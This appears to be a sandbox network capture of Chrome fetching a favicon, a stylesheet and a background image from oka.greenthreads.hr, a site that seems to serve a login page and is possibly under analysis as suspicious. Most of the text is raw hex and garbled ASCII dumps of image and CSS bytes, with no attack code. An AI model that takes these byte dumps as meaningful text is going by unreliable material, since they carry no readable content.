2025-03-13 16:02:50 UTC	8302	IN	Data Raw: f7 8f 70 db d1 95 36 b2 b7 cb b7 f8 6b c9 2c be 36 7c 40 fd b6 3c 11 e2 ef 03 f8 17 c1 fe 05 d7 b5 0b cd 22 e2 de f3 fb 3f c7 56 b7 32 58 a4 fb 91 65 74 f2 97 73 6e 6a bf 27 fc 1d 51 f0 57 cb 5f f8 a1 7e 2a 33 7f 17 fa 05 87 ff 00 26 57 37 e0 7f f8 39 23 f6 6b f8 5b 75 aa 4f e1 8f 83 be 36 f0 fc 9a f4 ff 00 6a d4 a4 d3 b4 1d 2e d6 4b e9 9b 77 ef 65 68 ae 57 7c 9f 31 f9 9b e6 f9 ab 68 e2 2d 1b 26 3e 53 f4 13 f6 13 f0 af 8e 3c 03 fb 2f f8 63 c3 de 3e d1 f4 fd 1f c4 3e 1f b4 4d 39 92 d2 f5 6e a3 9a 24 5d a9 2a b2 aa ff 00 df 35 ea 57 5a 1e 9f 79 aa 5a ea 37 16 76 72 5f 69 e9 2c 56 f7 12 44 ad 2d ba cb b7 cd 55 6f bc aa db 57 77 f7 b6 ad 7e 65 7f c4 55 9f 06 23 6f 9b c0 7f 15 36 ff 00 d7 9d 87 ff 00 25 d3 a3 ff 00 83 a9 3e 09 f9 9f 37 80 fe 2a 7e 16 76 1f fc Data Ascii: p6k,6\|@<"?V2Xetsnj'QW_~3&W79#k[uO6j.KwehW\|1h-&>S</c>>M9n$]5WZyZ7vr_i,VD-UoWw~eU#o6%>7*~v
2025-03-13 16:02:50 UTC	6676	IN	Data Raw: 6f 1a 68 9a af 85 7c 5f 71 7b 6b e2 3f 0b ba cb 16 a9 13 27 95 2a 3a f9 d1 7f 14 48 e8 ff 00 37 de 7a f1 2f 0a fc 6c b6 f0 af ed 6d a1 f8 fa ea e7 5a f1 05 8e 8f e2 1b 7d 52 59 6f 65 dd 7d 7d 14 52 ab fc e5 99 bf 78 ca bf de ac 65 4e 0a c3 f7 8f 4a fd af 3f 66 3b 7f 0b fc 4c f1 d5 87 87 7c 0b a6 d8 78 7b c0 f3 da c4 f7 9a 3f 88 57 50 8e 14 9f 76 c7 b9 66 96 5d d2 3e c7 f9 53 66 d6 fb cb f3 2d 66 fe d2 9f 04 fc 5d 1f c6 4f 1f 7c 39 f0 3d c5 f4 3f 0e fc 17 a9 2e db 2b fd 6f c8 d3 2c dd fe eb 33 4c eb 1f 98 df 37 fb 5f 7a a5 d4 3f 6c cf 0f de 69 1f 1a ad 57 4f d5 37 7c 4c bf b1 bc d3 8e d4 ff 00 47 f2 1a 76 65 97 e6 f9 7f d6 af dd dd 5d 1e ad ff 00 05 08 d1 fc 59 ad 7c 68 85 af bc 69 e1 3b 1f 88 97 f6 5a a6 97 a9 68 cc bf 6c d3 e6 b6 76 f9 25 8b cd 89 5e 37 Data Ascii: oh\|_q{k?'*:H7z/lmZ}RYoe}}RxeNJ?f;L\|x{?WPvf]>Sf-f]O\|9=?.+o,3L7_z?liWO7\|LGve]Y\|hi;Zhlv%^7
2025-03-13 16:02:50 UTC	10674	IN	Data Raw: f4 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f f0 fc 7f 82 9f f4 32 7c 50 ff 00 c3 47 61 ff 00 cd 45 1f bb ec 1c c7 eb 57 fc 3d 13 c7 df f4 07 f0 9f fe 02 dc 7f f1 ea 3f e1 e8 9e 3e ff 00 a0 3f 84 ff 00 f0 16 e3 ff 00 8f 57 e4 af fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 fc 3f 1f e0 a7 fd 0c 9f 14 3f f0 d1 d8 7f f3 51 47 ee fb 07 31 fa d5 ff 00 0f 44 f1 f7 fd 01 fc 27 ff 00 80 b7 1f fc 7a 8f f8 7a 27 8f bf e8 0f e1 3f fc 05 b8 ff 00 e3 d5 f9 21 77 ff 00 05 c5 f8 36 96 d2 1b 7f 10 7c 48 92 6d bc 2c 9f 0a 2c 95 49 ff 00 7b fe 12 76 ff 00 d0 6a 5f f8 7e 3f c1 4f fa 19 3e 28 7f e1 a3 b0 ff 00 e6 a2 8f dd f6 0e 63 f5 ab fe 1e 89 e3 ef fa 03 f8 4f ff 00 01 6e 3f f8 f5 1f f0 f4 4f 1f 7f d0 1f c2 7f f8 0b 71 ff 00 c7 ab f2 57 fe 1f 8f f0 53 fe 86 4f 8a 1f f8 Data Ascii: 2\|PGaE2\|PGaEW=?>?W??QG??QG1D'zz'?!w6\|Hm,,I{vj_~?O>(cOn?OqWSO
2025-03-13 16:02:50 UTC	11860	IN	Data Raw: 92 97 c4 1a 85 14 51 59 90 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 51 45 00 14 a9 f7 c7 d6 92 95 3e f8 fa d0 04 f4 d9 7f d5 9a 75 36 5f f5 66 b7 96 c4 2d cf cd 2f f8 2f 5f fc 15 b2 c3 f6 48 d0 35 af 81 71 78 1e f3 c4 5a af c4 ef 01 df ad ce a8 fa 9a d9 5b 69 10 df 2d cd 8c 2e 89 e5 c8 d7 0e 1a 39 dd 90 f9 40 05 8c 07 62 e7 67 e7 a7 fc 12 ab fe 0b 9f ff 00 0e ca fd 9e 35 9f 02 7f c2 ad ff 00 84 d8 6a de 22 9b 5e fb 77 fc 24 9f d9 be 57 99 6d 6b 07 93 e5 fd 96 6c e3 ec db b7 6e 19 df 8c 0c 64 f6 9f f0 75 77 fc a4 1f c1 df f6 4f 2c 7f f4 e5 aa 57 c5 ff 00 f0 4f 6f 1b 7c 2f f8 73 fb 67 7c 3f d6 be 32 e9 27 5b f8 6b 63 a9 17 d6 ad 0d ab 5d c6 7f 76 e2 09 65 85 48 32 c3 15 c1 8a 59 23 01 fc Data Ascii: QYQEQEQEQEQEQEQEQEQEQE>u6_f-//_H5qxZ[i-.9@bg5j"^w$WmklnduwO,WOo\|/sg\|?2'[kc]veH2Y#
2025-03-13 16:02:50 UTC	10234	IN	Data Raw: 6d f3 32 ed af 1e bc f0 df 88 74 1f 18 5c 58 58 5e 32 5c df 7f a4 37 d9 a4 65 f9 19 9b 6e ef 97 fd ea f2 30 fd 51 b4 8d 23 e3 07 8b 76 df 13 ea 0d bb bf fc 23 d5 91 e1 3f 89 9e 1d f8 53 63 ac f8 87 c4 da d5 9e 93 a4 db ec 49 75 0b d6 58 23 de f2 ed 5d df dd dc df c3 59 ed f1 12 3d 2b e2 75 d7 83 ee be 22 69 f6 be 24 d3 ec d6 f6 5b 3b 9b c7 87 cb 89 b6 ed 6d ec 9b 5b ef 0f 97 76 ea f2 7f db d3 47 d2 af 3f 63 3f 1f c6 f7 9e 1d f1 65 d5 c4 09 70 96 f6 9a f4 50 49 1b a4 bb da e3 fd bf 2b ef ec fe 2d bb 6b 69 5b 91 ff 00 5f a0 75 3e af f8 67 f1 63 c3 7f 19 bc 37 fd b1 e1 5d 6e c7 5e d2 fc d6 83 ed 36 52 ac 91 f9 ab f7 97 77 fc 09 6b c4 bf e0 a8 2b bb e0 1e 8f ff 00 63 04 3f fa 4b 75 5c 4f fc 10 e3 fe 4c a3 fe e6 0b af fd 02 0a ed bf e0 a8 8d b7 e0 0e 8f ff 00 Data Ascii: m2t\XX^2\7en0Q#v#?ScIuX#]Y=+u"i$[;m[vG?c?epPI+-ki[_u>gc7]n^6Rwk+c?Ku\OL

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	49725	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:50 UTC	601	OUT	GET /favicon.ico HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:50 UTC	560	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 175419 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="favicon.ico" Content-Length: 819 Content-Type: image/vnd.microsoft.icon Date: Thu, 13 Mar 2025 16:02:50 GMT Etag: "4b5febb3fb4517a225620b5fe05016d2" Last-Modified: Tue, 11 Mar 2025 15:19:11 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /favicon.ico X-Vercel-Cache: HIT X-Vercel-Id: iad1::mhv5d-1741881770406-d32211881304 Connection: close
2025-03-13 16:02:50 UTC	819	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 02 e5 49 44 41 54 78 9c ed 9d 31 88 13 41 14 86 07 05 41 ac 2c bc cc 0b 2a 62 a9 a5 96 96 ea e5 cd 72 d7 05 3b ed 6c 6d 84 03 1b af 14 3b 4b c1 42 2c 6d 2d 2d 6c 2c 0f 44 d0 52 24 21 ef ed 55 16 6a 23 2a 2b 13 b1 09 77 87 b3 99 64 67 67 fe 0f b6 49 f5 b2 ff ce 37 4b 08 ff 18 03 00 00 00 00 00 00 00 19 31 d9 3e 37 14 a6 7b ca b4 27 8e 54 98 5e 6a 45 77 f7 ab 8d 8b 5d cf 96 2d d3 f1 d9 93 75 65 c7 e2 e8 95 38 fa a9 8e 9a 83 2e 04 12 91 e6 a1 39 26 23 ba a6 4c 4f 85 e9 eb 61 37 fd a8 0b 81 b4 a0 de 1c 5c 16 a6 5d 71 f4 b9 cd 4d 47 20 4b 7a 3d f6 4d 47 20 4b 7a 1d 81 24 e6 75 5d e3 65 72 a1 5e Data Ascii: PNGIHDR``w8pHYsIDATx1AA,br;lm;KB,m--l,DR$!Uj#+wdggI7K1>7{'T^jEw]-ue8.9&#LOa7\]qMG Kz=MG Kz$u]er^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	49730	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:52 UTC	702	OUT	GET /favicon.ico HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://oka.greenthreads.hr/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 If-None-Match: "4b5febb3fb4517a225620b5fe05016d2" If-Modified-Since: Tue, 11 Mar 2025 15:19:11 GMT
2025-03-13 16:02:52 UTC	226	IN	HTTP/1.1 304 Not Modified Cache-Control: public, max-age=0, must-revalidate Date: Thu, 13 Mar 2025 16:02:52 GMT Server: Vercel X-Vercel-Cache: HIT X-Vercel-Id: iad1::mtf2k-1741881772630-2500b6331c7a Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.9	49734	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:52 UTC	420	OUT	GET /_next/static/css/19d09a6113afa007.css HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:53 UTC	594	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 174894 Cache-Control: public,max-age=31536000,immutable Content-Disposition: inline; filename="19d09a6113afa007.css" Content-Length: 1515 Content-Type: text/css; charset=utf-8 Date: Thu, 13 Mar 2025 16:02:52 GMT Etag: "358df2f88c6cb7b259f7dfa5095500d5" Last-Modified: Tue, 11 Mar 2025 15:27:58 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /_next/static/css/19d09a6113afa007.css X-Vercel-Cache: HIT X-Vercel-Id: iad1::mtzfz-1741881772922-31e606eb4d96 Connection: close
2025-03-13 16:02:53 UTC	1515	IN	Data Raw: 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 43 6f 6e 74 61 69 6e 65 72 5f 5f 35 6a 50 35 30 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 68 65 69 67 68 74 3a 31 30 30 76 68 3b 64 69 73 70 6c 61 79 3a 66 6c 65 78 3b 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 63 65 6e 74 65 72 3b 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 63 65 6e 74 65 72 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 62 61 63 6b 67 72 6f 75 6e 64 2e 6a 70 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 35 30 25 20 66 69 78 65 64 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 73 69 7a 65 3a 63 6f 76 65 72 3b 63 6f 6c 6f 72 3a 23 33 33 33 7d 2e 49 6e 64 65 78 5f 6c 6f 67 69 6e 42 6f 78 5f 5f 54 6a 67 44 43 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 68 73 6c 61 28 30 2c 30 25 2c 31 30 30 25 2c 2e 39 29 3b 62 6f Data Ascii: .Index_loginContainer__5jP50{text-align:center;height:100vh;display:flex;justify-content:center;align-items:center;background:url(/background.jpg) no-repeat 50% fixed;background-size:cover;color:#333}.Index_loginBox__TjgDC{background:hsla(0,0%,100%,.9);bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.9	49733	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:52 UTC	394	OUT	GET /favicon.ico HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:53 UTC	560	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 175421 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="favicon.ico" Content-Length: 819 Content-Type: image/vnd.microsoft.icon Date: Thu, 13 Mar 2025 16:02:52 GMT Etag: "4b5febb3fb4517a225620b5fe05016d2" Last-Modified: Tue, 11 Mar 2025 15:19:11 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /favicon.ico X-Vercel-Cache: HIT X-Vercel-Id: iad1::4zb2s-1741881772936-dfe35a91de52 Connection: close
2025-03-13 16:02:53 UTC	819	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 60 00 00 00 60 08 06 00 00 00 e2 98 77 38 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 02 e5 49 44 41 54 78 9c ed 9d 31 88 13 41 14 86 07 05 41 ac 2c bc cc 0b 2a 62 a9 a5 96 96 ea e5 cd 72 d7 05 3b ed 6c 6d 84 03 1b af 14 3b 4b c1 42 2c 6d 2d 2d 6c 2c 0f 44 d0 52 24 21 ef ed 55 16 6a 23 2a 2b 13 b1 09 77 87 b3 99 64 67 67 fe 0f b6 49 f5 b2 ff ce 37 4b 08 ff 18 03 00 00 00 00 00 00 00 19 31 d9 3e 37 14 a6 7b ca b4 27 8e 54 98 5e 6a 45 77 f7 ab 8d 8b 5d cf 96 2d d3 f1 d9 93 75 65 c7 e2 e8 95 38 fa a9 8e 9a 83 2e 04 12 91 e6 a1 39 26 23 ba a6 4c 4f 85 e9 eb 61 37 fd a8 0b 81 b4 a0 de 1c 5c 16 a6 5d 71 f4 b9 cd 4d 47 20 4b 7a 3d f6 4d 47 20 4b 7a 1d 81 24 e6 75 5d e3 65 72 a1 5e Data Ascii: PNGIHDR``w8pHYsIDATx1AA,br;lm;KB,m--l,DR$!Uj#+wdggI7K1>7{'T^jEw]-ue8.9&#LOa7\]qMG Kz=MG Kz$u]er^

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.9	49732	76.76.21.21	443	2180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-13 16:02:52 UTC	397	OUT	GET /background.jpg HTTP/1.1 Host: oka.greenthreads.hr Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 16:02:53 UTC	555	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Age: 175420 Cache-Control: public, max-age=0, must-revalidate Content-Disposition: inline; filename="background.jpg" Content-Length: 114870 Content-Type: image/jpeg Date: Thu, 13 Mar 2025 16:02:52 GMT Etag: "45068f0ed4f904b59752fcaa6d8d3e7e" Last-Modified: Tue, 11 Mar 2025 15:19:11 GMT Server: Vercel Strict-Transport-Security: max-age=63072000 X-Matched-Path: /background.jpg X-Vercel-Cache: HIT X-Vercel-Id: iad1::zmfmg-1741881772945-00120971521a Connection: close
2025-03-13 16:02:53 UTC	2372	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 78 00 78 00 00 ff e1 00 22 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 01 01 12 00 03 00 00 00 01 00 01 00 00 00 00 00 00 ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 04 0a 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 00 01 02 03 04 05 06 07 08 09 0a 0b ff c4 00 b5 10 00 02 01 03 Data Ascii: JFIFxx"ExifMM*CC"
2025-03-13 16:02:53 UTC	1000	IN	Data Raw: a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 00 a2 8a 28 Data Ascii: ((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((((
2025-03-13 16:02:53 UTC	4744	IN	Data Raw: d2 75 28 96 7b 3b db 0b 84 9e da e1 1b ee ba 3a 16 56 5f f6 96 b4 23 af 17 fd 81 75 8b 5f 12 7e cf f7 7a 85 85 d5 be a1 a7 ea 9e 34 f1 75 fd 95 e5 bc ab 24 17 90 4b e2 4d 4d e2 95 1d 7e 57 8d e3 65 75 65 f9 59 59 59 6b da 94 ee aa 00 a2 8a 28 00 5d cb 42 ee dd 5f 9d bf b7 27 ec 5f e0 2f 14 7e de 9a 56 b7 e3 6d 2b 4b f1 84 df 14 2e ac 74 8d 2e 3d 23 52 ba b6 f1 8f 84 ee bc 86 8a 2b fb 7b 75 9b ec 97 1a 7c 0d 68 f7 0e d3 c0 cc be 6c ee cc e9 02 c0 dc cf ed 41 fb 05 e9 3f 11 bf 69 4f 0e f8 6f c6 7a a6 83 af 7c 63 f1 35 aa 6a f7 5f 12 fc 49 15 d6 8b 67 f6 74 9d 2c 61 b0 d1 34 eb 7b 94 82 7d 42 06 f2 a6 65 b9 69 55 59 e2 dc ae 97 4b 1c 0b de 03 f4 e2 8a 28 a6 07 93 7e db db 66 fd 98 fc 49 bd be 56 6b 5f fd 2c 82 bc 33 e1 bf c6 2f 03 78 93 f6 6a b5 f0 37 8b 35 Data Ascii: u({;:V_#u_~z4u$KMM~WeueYYYk(]B_'_/~Vm+K.t.=#R+{u\|hlA?iOoz\|c5j_Igt,a4{}BeiUYK(~fIVk_,3/xj75
2025-03-13 16:02:53 UTC	5930	IN	Data Raw: 87 fc 17 a6 eb 77 fa f5 f6 97 6f aa 6b 67 c3 d1 5a 5f 68 b7 f6 da af f6 af d9 5e f1 2c 1f 4f 78 56 e5 2e 65 82 2d f1 44 f1 2c 93 f9 b0 79 4a ed 3c 4a e0 1e b5 45 79 37 8a bf 6d 6f 87 be 0b f1 25 ae 8b 75 7d e2 69 bc 47 79 a4 59 78 85 34 2b 0f 09 6a f7 da c2 e9 f7 4d 3a 45 70 f6 30 da 3d ca 46 b2 42 e8 fb d1 7c 89 1a 24 97 63 4b 12 bd cf 01 7e d8 7f 0e be 2c 78 c2 cf 47 f0 ef 88 7f b6 1b 54 de ba 6e a9 6f 61 70 da 1e b4 e8 8c ef 15 8e a7 e5 7d 86 f6 54 54 95 9a 28 25 79 17 ec b3 ee 55 f2 25 d8 7b a0 7a 6d 14 51 40 05 14 57 8c 7c 7b f8 81 f1 13 fe 1a 23 c0 fe 05 f0 1e b5 e0 dd 07 fb 7b c3 9a ee bd 7f 7b af e8 17 5a c7 fc 78 5c 69 30 24 51 24 37 d6 bb 77 7f 68 bb 33 33 37 dc 5f 96 80 3d 9e 8a f9 ff 00 43 fd bc bc 33 e0 7d 63 50 f0 67 c4 2b cf b3 7c 44 d0 f5 Data Ascii: wokgZ_h^,OxV.e-D,yJ<JEy7mo%u}iGyYx4+jM:Ep0=FB\|$cK~,xGTnoap}TT(%yU%{zmQ@W\|{#{{Zx\i0$Q$7wh337_=C3}cPg+\|D
2025-03-13 16:02:53 UTC	7116	IN	Data Raw: e1 d8 3f 11 64 6d ff 00 da 1e 0f db fc 43 ed 97 1f fc 66 b1 95 3a 2e 5c d1 63 f7 8f 99 fc 27 67 26 9f e1 bd 3e de 4f b6 34 90 db c5 13 0b c9 56 5b 95 da ab fe b5 97 e5 69 7f bc cb fc 55 a9 e6 49 ff 00 3c ff 00 f1 ea fa 23 fe 1d 93 f1 0b 6f fc 84 3c 1e bf f6 f5 71 ff 00 c6 68 8f fe 09 97 f1 13 fe 82 5e 0f ff 00 c0 ab 8f fe 33 5b fb 68 77 33 3e 73 fb 44 96 fa 7b 21 fb d5 d7 fc 0b 87 67 c7 0f 03 7c df 37 fc 24 1a 7f fe 94 25 7a dc 9f f0 4c bf 88 b7 2a db 75 4f 07 af fd bd 5c 7f f1 9a da f8 73 ff 00 04 e6 f1 f7 85 7e 28 78 77 56 bc d4 fc 2a d6 5a 3e ad 69 7b 3a c5 71 33 48 c9 14 aa ec ab ba 15 f9 b6 af f7 a9 4a b4 39 77 2f 53 ed 98 ff 00 d5 ad 7c 9d ff 00 05 c4 f8 77 e2 1f 8b 1f f0 4b bf 8a 3e 1f f0 ae 87 ad 78 9f 5e d4 3f b2 be cf a6 69 56 73 df 5d 5c 6c d5 Data Ascii: ?dmCf:.\c'g&>O4V[iUI<#o<qh^3[hw3>sD{!g\|7$%zLuO\s~(xwVZ>i{:q3HJ9w/S\|wK>x^?iVs]\l
2025-03-13 16:02:53 UTC	8302	IN	Data Raw: f7 8f 70 db d1 95 36 b2 b7 cb b7 f8 6b c9 2c be 36 7c 40 fd b6 3c 11 e2 ef 03 f8 17 c1 fe 05 d7 b5 0b cd 22 e2 de f3 fb 3f c7 56 b7 32 58 a4 fb 91 65 74 f2 97 73 6e 6a bf 27 fc 1d 51 f0 57 cb 5f f8 a1 7e 2a 33 7f 17 fa 05 87 ff 00 26 57 37 e0 7f f8 39 23 f6 6b f8 5b 75 aa 4f e1 8f 83 be 36 f0 fc 9a f4 ff 00 6a d4 a4 d3 b4 1d 2e d6 4b e9 9b 77 ef 65 68 ae 57 7c 9f 31 f9 9b e6 f9 ab 68 e2 2d 1b 26 3e 53 f4 13 f6 13 f0 af 8e 3c 03 fb 2f f8 63 c3 de 3e d1 f4 fd 1f c4 3e 1f b4 4d 39 92 d2 f5 6e a3 9a 24 5d a9 2a b2 aa ff 00 df 35 ea 57 5a 1e 9f 79 aa 5a ea 37 16 76 72 5f 69 e9 2c 56 f7 12 44 ad 2d ba cb b7 cd 55 6f bc aa db 57 77 f7 b6 ad 7e 65 7f c4 55 9f 06 23 6f 9b c0 7f 15 36 ff 00 d7 9d 87 ff 00 25 d3 a3 ff 00 83 a9 3e 09 f9 9f 37 80 fe 2a 7e 16 76 1f fc Data Ascii: p6k,6\|@<"?V2Xetsnj'QW_~3&W79#k[uO6j.KwehW\|1h-&>S</c>>M9n$]5WZyZ7vr_i,VD-UoWw~eU#o6%>7*~v
2025-03-13 16:02:53 UTC	6676	IN	Data Raw: 6f 1a 68 9a af 85 7c 5f 71 7b 6b e2 3f 0b ba cb 16 a9 13 27 95 2a 3a f9 d1 7f 14 48 e8 ff 00 37 de 7a f1 2f 0a fc 6c b6 f0 af ed 6d a1 f8 fa ea e7 5a f1 05 8e 8f e2 1b 7d 52 59 6f 65 dd 7d 7d 14 52 ab fc e5 99 bf 78 ca bf de ac 65 4e 0a c3 f7 8f 4a fd af 3f 66 3b 7f 0b fc 4c f1 d5 87 87 7c 0b a6 d8 78 7b c0 f3 da c4 f7 9a 3f 88 57 50 8e 14 9f 76 c7 b9 66 96 5d d2 3e c7 f9 53 66 d6 fb cb f3 2d 66 fe d2 9f 04 fc 5d 1f c6 4f 1f 7c 39 f0 3d c5 f4 3f 0e fc 17 a9 2e db 2b fd 6f c8 d3 2c dd fe eb 33 4c eb 1f 98 df 37 fb 5f 7a a5 d4 3f 6c cf 0f de 69 1f 1a ad 57 4f d5 37 7c 4c bf b1 bc d3 8e d4 ff 00 47 f2 1a 76 65 97 e6 f9 7f d6 af dd dd 5d 1e ad ff 00 05 08 d1 fc 59 ad 7c 68 85 af bc 69 e1 3b 1f 88 97 f6 5a a6 97 a9 68 cc bf 6c d3 e6 b6 76 f9 25 8b cd 89 5e 37 Data Ascii: oh\|_q{k?'*:H7z/lmZ}RYoe}}RxeNJ?f;L\|x{?WPvf]>Sf-f]O\|9=?.+o,3L7_z?liWO7\|LGve]Y\|hi;Zhlv%^7
